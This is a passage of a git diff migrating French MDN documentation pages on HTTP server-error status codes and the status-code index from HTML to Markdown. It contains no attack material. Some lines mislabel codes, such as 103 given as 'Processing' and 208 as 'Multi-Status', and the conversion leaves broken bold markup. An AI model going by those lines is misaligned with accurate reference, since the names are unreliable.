accéder.</p> +Une {{interwiki("wikipedia", "Passerelle_(informatique)", "passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 502 est habituellement quelque chose que vous ne pouvez pas corriger, mais qui nécessite une correction sur le serveur web ou le proxy par lequel vous passez pour y accéder. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">502 Bad Gateway</pre> + 502 Bad Gateway -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "502 Bad Gateway" , "6.6.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "502")}}</p> +{{Compat("http/status", "502")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus(504)}}</li> -</ul> +- {{HTTPStatus(504)}} diff --git a/files/fr/web/http/status/503/index.md b/files/fr/web/http/status/503/index.md index 11535dcc5e..8886f6906b 100644 --- a/files/fr/web/http/status/503/index.md +++ b/files/fr/web/http/status/503/index.md @@ -7,39 +7,28 @@ tags: - HTTP translation_of: Web/HTTP/Status/503 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP d'erreur serveur <code><strong>503</strong></code><strong><code> Service Unavailable</code></strong> indique que le serveur n'est pas prêt à traiter la requête.</p> +Le code de réponse HTTP d'erreur serveur **`503`\*\***` Service Unavailable`\*\* indique que le serveur n'est pas prêt à traiter la requête. -<p>Généralement, cela se produit car le serveur est éteint ou inaccessible pour cause de maintenance ou de surcharge. Notez qu'avec cette erreur, il est préférable d'envoyer une page compréhensible pour l'utilisateur qui explique le problème. Cette réponse doit être utilisée pour indiquer un état temporaire et l'en-tête HTTP {{HTTPHeader("Retry-After")}} doit, si possible, indiquer le temps estimé avant la reprise du service.</p> +Généralement, cela se produit car le serveur est éteint ou inaccessible pour cause de maintenance ou de surcharge. Notez qu'avec cette erreur, il est préférable d'envoyer une page compréhensible pour l'utilisateur qui explique le problème. Cette réponse doit être utilisée pour indiquer un état temporaire et l'en-tête HTTP {{HTTPHeader("Retry-After")}} doit, si possible, indiquer le temps estimé avant la reprise du service. -<p>Les en-têtes relatifs au cache qui sont envoyés avec cette réponse doivent être pris en compte car un code de statut 503 indique un état temporaire et cette réponse ne doit généralement pas être mise en cache.</p> +Les en-têtes relatifs au cache qui sont envoyés avec cette réponse doivent être pris en compte car un code de statut 503 indique un état temporaire et cette réponse ne doit généralement pas être mise en cache. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">503 Service Unavailable</pre> + 503 Service Unavailable -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "503 Service Unavailable" , "6.6.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "503")}}</p> +{{Compat("http/status", "503")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Retry-After")}}</li> -</ul> +- {{HTTPHeader("Retry-After")}} diff --git a/files/fr/web/http/status/504/index.md b/files/fr/web/http/status/504/index.md index ab7d9e7761..5448e7fb3d 100644 --- a/files/fr/web/http/status/504/index.md +++ b/files/fr/web/http/status/504/index.md @@ -8,37 +8,26 @@ tags: - Reference translation_of: Web/HTTP/Status/504 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP d'erreur serveur <code><strong>504</strong></code><strong><code> Gateway Timeout</code></strong> indique que le serveur, agissant comme passerelle ou proxy, ne peut pas recevoir de réponse dans les temps.</p> +Le code de réponse HTTP d'erreur serveur **`504`\*\***` Gateway Timeout`\*\* indique que le serveur, agissant comme passerelle ou proxy, ne peut pas recevoir de réponse dans les temps. -<p>Une {{interwiki("wikipedia", "Passerelle_(informatique)", "Passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 504 est habituellement quelque chose que vous ne pouvez pas corriger mais qui nécessite une correction sur le serveur web ou sur le proxy par lequel vous passez pour y accéder.</p> +Une {{interwiki("wikipedia", "Passerelle_(informatique)", "Passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 504 est habituellement quelque chose que vous ne pouvez pas corriger mais qui nécessite une correction sur le serveur web ou sur le proxy par lequel vous passez pour y accéder. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">504 Gateway Timeout</pre> + 504 Gateway Timeout -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "504 Gateway Timeout" , "6.6.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "504")}}</p> +{{Compat("http/status", "504")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus(502)}}</li> -</ul> +- {{HTTPStatus(502)}} diff --git a/files/fr/web/http/status/505/index.md b/files/fr/web/http/status/505/index.md index 826a31eb82..4a1794d740 100644 --- a/files/fr/web/http/status/505/index.md +++ b/files/fr/web/http/status/505/index.md @@ -8,31 +8,20 @@ tags: - Reference translation_of: Web/HTTP/Status/505 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP d'erreur serveur <code><strong>505</strong></code><strong><code> HTTP Version Not Supported</code></strong> indique que la version du protocole HTTP utilisée dans la requête n'est pas prise en charge par le serveur.</p> +Le code de réponse HTTP d'erreur serveur **`505`\*\***` HTTP Version Not Supported`\*\* indique que la version du protocole HTTP utilisée dans la requête n'est pas prise en charge par le serveur. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">505 HTTP Version Not Supported</pre> + 505 HTTP Version Not Supported -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Upgrade")}}</li> -</ul> +- {{HTTPHeader("Upgrade")}} diff --git a/files/fr/web/http/status/506/index.md b/files/fr/web/http/status/506/index.md index 431d3dae17..1a217a1fb9 100644 --- a/files/fr/web/http/status/506/index.md +++ b/files/fr/web/http/status/506/index.md @@ -7,29 +7,18 @@ tags: - Statut de réponse translation_of: Web/HTTP/Status/506 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP <code><strong>506 Variant Also Negotiates</strong></code> peut être donné dans le contexte du protocol <code><strong>Transparent Content Negotiation</strong></code> (voir <a href="https://tools.ietf.org/html/rfc2295">RFC 2295</a>). Ce protocol active un client pour recevoir la meilleure variante d'une ressource donnée, où le serveur supporte de multiples variantes.</p> +Le code de réponse HTTP **`506 Variant Also Negotiates`** peut être donné dans le contexte du protocol **`Transparent Content Negotiation`** (voir [RFC 2295](https://tools.ietf.org/html/rfc2295)). Ce protocol active un client pour recevoir la meilleure variante d'une ressource donnée, où le serveur supporte de multiples variantes. -<p>Le statut <code><strong>Variant Also Negotiates</strong></code> indique une erreur de configuration interne du serveur dans laquelle la variante choisie est elle-même configurée pour s'engager dans la négociation de contenu, et n'est donc pas un point final de négociation approprié.</p> +Le statut **`Variant Also Negotiates`** indique une erreur de configuration interne du serveur dans laquelle la variante choisie est elle-même configurée pour s'engager dans la négociation de contenu, et n'est donc pas un point final de négociation approprié. -<h2 id="Status">Status</h2> +## Status -<pre class="syntaxbox">506 Variant Also Negotiates</pre> + 506 Variant Also Negotiates -<h2 id="Specifications">Specifications</h2> +## Specifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("2295", "506 Variant Also Negotiates" , "8.1")}}</td> - <td>Transparent Content Negotiation in HTTP</td> - </tr> - </tbody> -</table> +| Specification | Title | +| ------------------------------------------------------------------------ | --------------------------------------- | +| {{RFC("2295", "506 Variant Also Negotiates" , "8.1")}} | Transparent Content Negotiation in HTTP | diff --git a/files/fr/web/http/status/507/index.md b/files/fr/web/http/status/507/index.md index 35f2b1ebda..d72b712efc 100644 --- a/files/fr/web/http/status/507/index.md +++ b/files/fr/web/http/status/507/index.md @@ -7,29 +7,18 @@ tags: - HTTP translation_of: Web/HTTP/Status/507 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP <code><strong>507 Insufficient Storage</strong></code> peut être donné dans le contexte du protocol <code><strong>Web Distributed Authoring and Versioning</strong></code>(WebDAV) (voir <a href="https://tools.ietf.org/html/rfc4918">RFC 4918</a>).</p> +Le code de réponse HTTP **`507 Insufficient Storage`** peut être donné dans le contexte du protocol **`Web Distributed Authoring and Versioning`**(WebDAV) (voir [RFC 4918](https://tools.ietf.org/html/rfc4918)). -<p>Il indique que la méthode ne peut pas être traité car le serveur ne peut pas stocker la représentation nécessaire pour accomplir la requête avec succès.</p> +Il indique que la méthode ne peut pas être traité car le serveur ne peut pas stocker la représentation nécessaire pour accomplir la requête avec succès. -<h2 id="Status">Status</h2> +## Status -<pre class="syntaxbox">507 Insufficient Storage</pre> + 507 Insufficient Storage -<h2 id="Specifications">Specifications</h2> +## Specifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("4918", "507 Insufficient Storage" , "11.5")}}</td> - <td>Web Distributed Authoring and Versioning</td> - </tr> - </tbody> -</table> +| Specification | Title | +| -------------------------------------------------------------------- | ---------------------------------------- | +| {{RFC("4918", "507 Insufficient Storage" , "11.5")}} | Web Distributed Authoring and Versioning | diff --git a/files/fr/web/http/status/508/index.md b/files/fr/web/http/status/508/index.md index 181ba09d36..e5dec8ca7b 100644 --- a/files/fr/web/http/status/508/index.md +++ b/files/fr/web/http/status/508/index.md @@ -8,29 +8,18 @@ tags: - HTTP translation_of: Web/HTTP/Status/508 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP <code><strong>508 Loop Detected</strong></code> peut être donné dans le contexte du protocol <code><strong>Web Distributed Authoring and Versioning</strong></code> (WebDAV).</p> +Le code de réponse HTTP **`508 Loop Detected`** peut être donné dans le contexte du protocol **`Web Distributed Authoring and Versioning`** (WebDAV). -<p>Il indique que le serveur termine une opération car il rencontre une boucle infinie pendant le traitement de la requête avec "Depth: infinity". Ce statut indique que l'entièreté de l'opération a échouée.</p> +Il indique que le serveur termine une opération car il rencontre une boucle infinie pendant le traitement de la requête avec "Depth: infinity". Ce statut indique que l'entièreté de l'opération a échouée. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">508 Loop Detected</pre> + 508 Loop Detected -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("5842", "508 Loop Detected" , "7.2")}}</td> - <td>Web Distributed Authoring and Versioning</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | ---------------------------------------- | +| {{RFC("5842", "508 Loop Detected" , "7.2")}} | Web Distributed Authoring and Versioning | diff --git a/files/fr/web/http/status/510/index.md b/files/fr/web/http/status/510/index.md index cd2810ad85..17ea9d1f6e 100644 --- a/files/fr/web/http/status/510/index.md +++ b/files/fr/web/http/status/510/index.md @@ -9,27 +9,18 @@ tags: - Status code translation_of: Web/HTTP/Status/510 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>510 Not Extended</strong></code> est envoyé dans le contexte de "l'HTTP Extension Framework", defini dans le <a href="https://tools.ietf.org/html/rfc2774">RFC 2774</a>.</p> +Le code de statut de réponse HTTP **`510 Not Extended`** est envoyé dans le contexte de "l'HTTP Extension Framework", defini dans le [RFC 2774](https://tools.ietf.org/html/rfc2774). -<p>Dans cette spécification, un client peut envoyer une demande qui contient une déclaration d'extension et qui décrit l'extension à utiliser. Si le serveur reçoit une telle demande, mais que les extensions décrites ne sont pas prises en charge pour la requête, alors, le serveur répond avec le code de statut 510.</p> +Dans cette spécification, un client peut envoyer une demande qui contient une déclaration d'extension et qui décrit l'extension à utiliser. Si le serveur reçoit une telle demande, mais que les extensions décrites ne sont pas prises en charge pour la requête, alors, le serveur répond avec le code de statut 510. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">510 Not Extended</pre> + 510 Not Extended -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("2774", "510 Not Extended" , "7")}}</td> - <td>Cadre pour les extensions HTTP (<em>An HTTP Extension Framework</em>)</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | -------------------------------------------------------------- | +| {{RFC("2774", "510 Not Extended" , "7")}} | Cadre pour les extensions HTTP (_An HTTP Extension Framework_) | diff --git a/files/fr/web/http/status/511/index.md b/files/fr/web/http/status/511/index.md index d43db2371d..0de06c0d1b 100644 --- a/files/fr/web/http/status/511/index.md +++ b/files/fr/web/http/status/511/index.md @@ -9,35 +9,24 @@ tags: - Status code translation_of: Web/HTTP/Status/511 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse HTTP d'erreur serveur <code><strong>511 Network Authentication Required</strong></code> indique que le client a besoin de s'authentifier pour obtenir l'accès au réseau.</p> +Le code de réponse HTTP d'erreur serveur **`511 Network Authentication Required`** indique que le client a besoin de s'authentifier pour obtenir l'accès au réseau. -<p>Ce statut n'est pas généré par le serveur d'origine mais par un proxy interceptant qui contrôle l'accès au réseau.</p> +Ce statut n'est pas généré par le serveur d'origine mais par un proxy interceptant qui contrôle l'accès au réseau. -<p>Les responsables des réseaux demandent parfois de s'authentifier, d'accepter des conditions d'utilisation ou autres avant d'avoir accès à Internet (par exemple dans un cybercafé ou un aéroport). Les clients qui n'ont pas rempli ces obligations sont souvent identifiés via leur adresse ({{Glossary("MAC")}}).</p> +Les responsables des réseaux demandent parfois de s'authentifier, d'accepter des conditions d'utilisation ou autres avant d'avoir accès à Internet (par exemple dans un cybercafé ou un aéroport). Les clients qui n'ont pas rempli ces obligations sont souvent identifiés via leur adresse ({{Glossary("MAC")}}). -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">511 Network Authentication Required</pre> + 511 Network Authentication Required -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("6585", "511 Network Authentication Required" , "6")}}</td> - <td>Additional HTTP Status Codes</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------------------- | ---------------------------- | +| {{RFC("6585", "511 Network Authentication Required" , "6")}} | Additional HTTP Status Codes | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{Glossary("Proxy")}}</li> -</ul> +- {{Glossary("Proxy")}} diff --git a/files/fr/web/http/status/index.md b/files/fr/web/http/status/index.md index 4d7ec75019..42be97a2f7 100644 --- a/files/fr/web/http/status/index.md +++ b/files/fr/web/http/status/index.md @@ -7,177 +7,163 @@ tags: - TopicStub translation_of: Web/HTTP/Status --- -<div>{{HTTPSidebar}}</div> - -<p>Les codes de statut de réponse HTTP indiquent si une requête <a href="/en-US/docs/Web/HTTP">HTTP</a> a été exécutée avec succès ou non. Les réponses sont regroupées en cinq classes: </p> - -<ol> - <li>Les réponses informatives (100 - 199),</li> - <li>Les réponses de succès (200 - 299),</li> - <li>Les redirections (300 - 399),</li> - <li>Les erreurs du client (400 - 499),</li> - <li> Les erreurs du serveur (500 - 599).</li> -</ol> - -<h2 id="Réponses_informatives">Réponses informatives</h2> - -<dl> - <dt>{{HTTPStatus(100, "100 Continue")}}</dt> - <dd>Cette réponse intermédiaire indique que tout est OK pour le moment et que le client peut continuer sa requête ou l'ignorer si celle-ci est déjà finie.</dd> - <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt> - <dd>Ce code est envoyé en réponse à un en-tête de requête {{HTTPHeader("Upgrade")}} de la part du client et indique le protocole sur lequel passe le serveur.</dd> - <dt>{{HTTPStatus(103, "103 Processing")}} ({{Glossary("WebDAV")}})</dt> - <dd>Ce code indique que le serveur a reçu et traite la requête, mais qu'aucune réponse n'est disponible pour le moment.</dd> -</dl> - -<h2 id="Réponses_de_succès">Réponses de succès</h2> - -<dl> - <dt>{{HTTPStatus(200, "200 OK")}}</dt> - <dd>La requête a réussi. Le signification du succès peut varier selon la méthode HTTP : GET : La ressource a été récupérée et est retransmise dans le corps du message. HEAD : Les en-têtes d'entité sont dans le corps du message. POST : La ressource décrivant le résultat de l'action est transmise dans le corps du message. TRACE : Le corps du message contient le message de requête tel que reçu par le serveur</dd> - <dt>{{HTTPStatus(201, "201 Created")}}</dt> - <dd>La requête a réussi et une nouvelle ressource a été créée en guise de résultat. Il s'agit typiquement de la réponse envoyée après une requête PUT.</dd> - <dt>{{HTTPStatus(202, "202 Accepted")}}</dt> - <dd>La requête a été reçue mais n'a pas encore été traitée. C'est une réponse évasive, ce qui signifie qu'il n'y a aucun moyen en HTTP d'envoyer une réponse asynchrone ultérieure indiquant le résultat issu du traitement de la requête. Elle est destinée aux cas où un autre processus ou serveur gère la requête, et peut être utile pour faire du traitement par lots.</dd> - <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt> - <dd>Ce code de réponse signifie que l'ensemble de méta-informations renvoyé n'est pas exactement l'ensemble disponible sur le serveur d'origine, mais plutôt un ensemble collecté à partir d'une copie locale ou tierce. À l'exception de cette condition, une réponse 200 OK est préférable.</dd> - <dt>{{HTTPStatus(204, "204 No Content")}}</dt> - <dd>Il n'y a pas de contenu à envoyer pour cette requête, mais les en-têtes peuvent être utiles. L'agent utilisateur peut mettre à jour ses en-têtes en cache pour cette ressource en les remplaçant par les nouveaux.</dd> - <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt> - <dd>Ce code de réponse est envoyé après avoir traité une requête indiquant à l'agent utilisateur qu'il peut réinitialiser la vue du document qui a envoyé la requête.</dd> - <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt> - <dd>Ce code de réponse est utilisé en réaction à l'en-tête Range envoyé par le client pour séparer le téléchargement en plusieurs flux.</dd> - <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> - <dd>Une réponse multi-statut donne des informations sur des ressources multiples dans les situations où les codes de statut multiples sont appropriés.</dd> - <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> - <dd>Utilisé au sein d'un DAV : élément de réponse propstat pour éviter d'énumérer à maintes reprises les membres internes de bindings multiples vers la même collection.</dd> - <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt> - <dd>Le serveur a exécuté une requête GET pour la ressource, et la réponse est une représentation du résultat d'une ou plusieurs manipulations d'instance appliquées à l'instance courante.</dd> -</dl> - -<h2 id="Messages_de_redirection">Messages de redirection</h2> - -<dl> - <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> - <dd>La requête a plusieurs réponses possibles. L'agent utilisateur ou l'utilisateur doit choisir l'une d'entre elles. Il n'y a pas de manière standard pour choisir l'une de ces réponses.</dd> - <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt> - <dd>Ce code de réponse signifie que l'URI de la ressource demandée a été modifiée. Une nouvelle URI sera probablement donnée dans la réponse.</dd> - <dt>{{HTTPStatus(302, "302 Found")}}</dt> - <dd>Ce code de réponse indique que l'URI de la ressource demandée a été modifiée <em>temporairement</em>. De nouveaux changements dans l'URI pourront être effectués ultérieurement. Par conséquent, cette même URI devrait être utilisée par le client pour les requêtes futures.</dd> - <dt>{{HTTPStatus(303, "303 See Other")}}</dt> - <dd>Le serveur a envoyé cette réponse pour diriger le client vers la ressource demandée via une autre URI en utilisant une requête GET.</dd> - <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> - <dd>Ce code est utilisé pour des raisons de cache. Il indique au client que la réponse n'a pas été modifiée. De fait, le client peut continuer à utiliser la même version de la réponse, mise en cache.</dd> - <dt>{{HTTPStatus(305, "305 Use Proxy")}}</dt> - <dd>A été défini dans une version antérieure de la spécification HTTP pour indiquer qu'une réponse sollicitée doit transiter par un proxy. Ce code est aujourd'hui périmé pour des raisons de sécurité relatives à la configuration d'un proxy.</dd> - <dt>{{HTTPStatus(306, "306 unused")}}</dt> - <dd>Ce code de réponse n'est plus en service, son usage est actuellement réservé. Il était utilisé dans une version précédente de la spécification HTTP 1.1.</dd> - <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> - <dd>Le serveur a envoyé cette réponse pour rediriger le client afin d'obtenir la ressource demandée via une autre URI, en utilisant la même méthode que précédemment. Ce code a la même sémantique que le code <code>302 Found</code>, à l'exception près que l'agent utilisateur <em>ne doit pas</em> changer la méthode HTTP utilisée : si <code>POST</code> était utilisé dans la première requête, alors <code>POST</code> doit être utilisé dans la seconde.</dd> - <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> - <dd>Cela signifie que la ressource a été déplacée de manière permante vers une autre URI, spécifiée dans l'en-tête de réponse HTTP <code>Location:</code>. Ce code a la même sémantique que le code <code>301 Moved Permanently</code>, à l'exception près que l'agent utilisateur <em>ne doit pas</em> changer la méthode HTTP utilisée : si <code>POST</code> était utilisé dans la première requête, alors <code>POST</code> doit être utilisé dans la seconde.</dd> -</dl> - -<h2 id="Réponses_derreur_côté_client">Réponses d'erreur côté client</h2> - -<dl> - <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> - <dd>Cette réponse indique que le serveur n'a pas pu comprendre la requête à cause d'une syntaxe invalide.</dd> - <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> - <dd>Une identification est nécessaire pour obtenir la réponse demandée. Ceci est similaire au code 403, mais dans ce cas, l'identification est possible.</dd> - <dt>{{HTTPStatus(402, "402 Payment Required")}}</dt> - <dd>Ce code de réponse est réservé à une utilisation future. Le but initial justifiant la création de ce code était l'utilisation de systèmes de paiement numérique. Cependant, il n'est pas utilisé actuellement.</dd> - <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> - <dd>Le client n'a pas les droits d'accès au contenu, donc le serveur refuse de donner la véritable réponse.</dd> - <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> - <dd>Le serveur n'a pas trouvé la ressource demandée. Ce code de réponse est principalement connu pour son apparition fréquente sur le web.</dd> - <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> - <dd>La méthode de requête est connue du serveur mais a été désactivée et ne peut pas être utilisée. Les deux méthodes obligatoires, <code>GET</code> et <code>HEAD</code>, ne doivent jamais être désactivées et ne doivent pas retourner ce code d'erreur.</dd> - <dt>{{HTTPStatus(406, "406 Not Acceptable")}} </dt> - <dd>Cette réponse est envoyée quand le serveur web, après une <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">négotiation de contenu géré par le serveur</a>, ne trouve rien qui satisfasse les critères donnés par l'agent utilisateur.</dd> -</dl> - -<dl> - <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> - <dd>Similaire au code 401, sauf que l'identification doit être faite par un proxy.</dd> - <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> - <dd>Cette réponse est envoyée via une connexion en attente par certains serveurs, même sans qu'il y ait de requête préalable de la part du client. Cela signifie que le serveur aimerait fermer cette connexion inutilisée. Cette réponse est bien plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent des <a href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">mécanismes de préconnexion HTTP</a> pour accélerer la navigation. Notez aussi que certains serveurs ferment simplement la connexion sans même envoyer ce message.</dd> - <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> - <dd>Cette réponse est envoyée quand une requête entre en conflit avec l'état actuel du serveur.</dd> - <dt>{{HTTPStatus(410, "410 Gone")}}</dt> - <dd>Cette réponse est envoyée quand le contenu demandé est supprimé du serveur.</dd> - <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> - <dd>Le serveur a rejeté la requête car le champ d'en-tête <code>Content-Length</code> n'est pas défini et le serveur l'impose.</dd> - <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> - <dd>Le client a indiqué des préconditions dans ses en-têtes que le serveur ne remplit pas.</dd> - <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> - <dd>L'entité demandée est plus grosse que la limite définie par le serveur; le serveur peut fermer la connexion ou retourner un champ d'en-tête <code>Retry-After</code>.</dd> - <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> - <dd>L'URI interrogé par le client est plus long que ce que le serveur est en mesure d'interpréter.</dd> - <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> - <dd>Le format média des données demandées n'est pas supporté par le serveur, donc le serveur rejette la requête.</dd> - <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> - <dd>La plage spécifiée par le champ d'en-tête <code>Range</code> de la requête ne peut pas être satisfaite ; il est possible que la plage excède la taille des données provenant de l'URI ciblé.</dd> - <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> - <dd>Ce code de réponse signifie que les attentes indiquées par le champ d'en-tête de requête <code>Expect</code> n'ont pas pu être satisfaites par le serveur.</dd> - <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> - <dd>Le serveur refuse de brasser du café avec une théière.</dd> - <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> - <dd>La requête a été envoyée à un serveur incapable de produire une réponse. Ce code peut être envoyé par un serveur qui n'a pas été configuré pour produire des réponses sujettes à la combinaison de schémas et d'identités incluse dans l'URI de la requête.</dd> - <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> - <dd>La requête a bien été constituée mais n'a pas pu être traitée à cause d'erreurs sémantiques.</dd> - <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> - <dd>La ressource qui est en train d'être consultée est verrouillée.</dd> -</dl> - -<dl> - <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> - <dd>La requête a échoué à cause de l'échec d'une requête précédente.</dd> -</dl> - -<dl> - <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> - <dd>Le serveur refuse de traiter la requête en utilisant le protocole actuel mais peut accepter de le faire si le client opte pour un autre protocole. Le serveur <em>doit</em> envoyer un champ <code>Upgrade</code> dans l'en-tête de la réponse 426 pour indiquer le(s) protocole(s) demandé(s) (<a href="https://tools.ietf.org/html/rfc7230#section-6.7">Section 6.7 de [RFC7230]</a>).</dd> - <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> - <dd>Le serveur d'origine impose que la requête soit conditionnelle. Ceci est prévu pour empêcher le problème de 'perte de mise à jour', où un client récupère l'état d'une ressource avec GET, le modifie, et le renvoie au serveur avec PUT pendant qu'un tiers modifie l'état du serveur, ce qui conduit à un conflit.</dd> - <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> - <dd>L'utilisateur a émis trop de requêtes dans un laps temps donné.</dd> - <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> - <dd>Le serveur n'est pas disposé à traiter la requête car les champs d'en-tête sont trop longs. La requête PEUT être renvoyée après avoir réduit la taille des en-têtes.</dd> - <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> - <dd>L'utilisateur tente d'accéder à une ressource illégale, telle qu'une page censurée par un gouvernement.</dd> -</dl> - 